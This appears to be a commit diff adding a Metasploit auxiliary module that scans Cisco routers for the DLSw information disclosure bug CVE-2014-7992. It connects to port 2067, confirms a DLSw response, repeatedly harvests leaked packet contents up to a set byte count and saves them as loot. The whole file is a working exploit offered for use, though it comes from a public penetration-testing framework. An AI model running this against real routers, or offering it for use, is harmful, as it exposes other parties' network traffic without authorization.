|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'socket' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + include Msf::Auxiliary::Scanner |
| 12 | + include Msf::Auxiliary::Report |
| 13 | + |
| 14 | + def initialize |
| 15 | + super( |
| 16 | + 'Name' => 'Cisco DLSw Information Disclosure Scanner', |
| 17 | + 'Description' => %q( |
| 18 | + This module implements the DLSw information disclosure retrieval. There |
| 19 | + is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains |
| 20 | + that allows an unuthenticated remote attacker to retrieve the partial |
| 21 | + contents of packets traversing a Cisco router with DLSw configured |
| 22 | + and active. |
| 23 | + ), |
| 24 | + 'Author' => [ |
| 25 | + 'Tate Hansen', # Vulnerability discovery |
| 26 | + 'John McLeod', # Vulnerability discovery |
| 27 | + 'Kyle Rainey' # Built lab to recreate vulnerability and help test |
| 28 | + ], |
| 29 | + 'References' => |
| 30 | + [ |
| 31 | + ['CVE', '2014-7992'], |
| 32 | + ['URL', 'https://github.com/tatehansen/dlsw_exploit'] |
| 33 | + ], |
| 34 | + 'DisclosureDate' => 'Nov 17 2014', |
| 35 | + 'License' => MSF_LICENSE |
| 36 | + ) |
| 37 | + |
| 38 | + register_options( |
| 39 | + [ |
| 40 | + Opt::RPORT(2067), |
| 41 | + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]) |
| 42 | + ], self.class) |
| 43 | + end |
| 44 | + |
| 45 | + def peer |
| 46 | + "#{rhost}:#{rport}" |
| 47 | + end |
| 48 | + |
| 49 | + def get_response(size = 72) |
| 50 | + connect |
| 51 | + response = sock.get_once(size) |
| 52 | + disconnect |
| 53 | + response |
| 54 | + end |
| 55 | + |
| 56 | + # Called when using check |
| 57 | + def check_host(_ip) |
| 58 | + print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)") |
| 59 | + response = get_response |
| 60 | + |
| 61 | + if response.blank? |
| 62 | + vprint_status("#{peer}: no response") |
| 63 | + Exploit::CheckCode::Safe |
| 64 | + elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48" |
| 65 | + vprint_good("#{peer}: Detected DLSw protocol") |
| 66 | + report_service( |
| 67 | + host: rhost, |
| 68 | + port: rport, |
| 69 | + proto: 'tcp', |
| 70 | + name: 'dlsw' |
| 71 | + ) |
| 72 | + # TODO: check that response has something that truly indicates it is vulnerable |
| 73 | + # and not simply that it responded |
| 74 | + unless response[18..72].scan(/\x00/).length == 54 |
| 75 | + print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes") |
| 76 | + report_vuln( |
| 77 | + host: rhost, |
| 78 | + port: rport, |
| 79 | + name: name, |
| 80 | + refs: references, |
| 81 | + info: "Module #{fullname} collected #{response.length} bytes" |
| 82 | + ) |
| 83 | + Exploit::CheckCode::Vulnerable |
| 84 | + end |
| 85 | + else |
| 86 | + vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data") |
| 87 | + Exploit::CheckCode::Safe |
| 88 | + end |
| 89 | + end |
| 90 | + |
| 91 | + # Main method |
| 92 | + def run_host(ip) |
| 93 | + return unless check_host(ip) == Exploit::CheckCode::Vulnerable |
| 94 | + |
| 95 | + dlsw_data = '' |
| 96 | + until dlsw_data.length > datastore['LEAK_AMOUNT'] |
| 97 | + response = get_response |
| 98 | + dlsw_data << response[18..72] unless response.blank? |
| 99 | + end |
| 100 | + loot_and_report(dlsw_data) |
| 101 | + end |
| 102 | + |
| 103 | + def loot_and_report(dlsw_leak) |
| 104 | + path = store_loot( |
| 105 | + 'dlsw.packet.contents', |
| 106 | + 'application/octet-stream', |
| 107 | + rhost, |
| 108 | + dlsw_leak, |
| 109 | + 'DLSw_leaked_data', |
| 110 | + 'DLSw packet memory leak' |
| 111 | + ) |
| 112 | + print_status("#{peer}: DLSw leaked data stored in #{path}") |
| 113 | + end |
| 114 | +end |
0 commit comments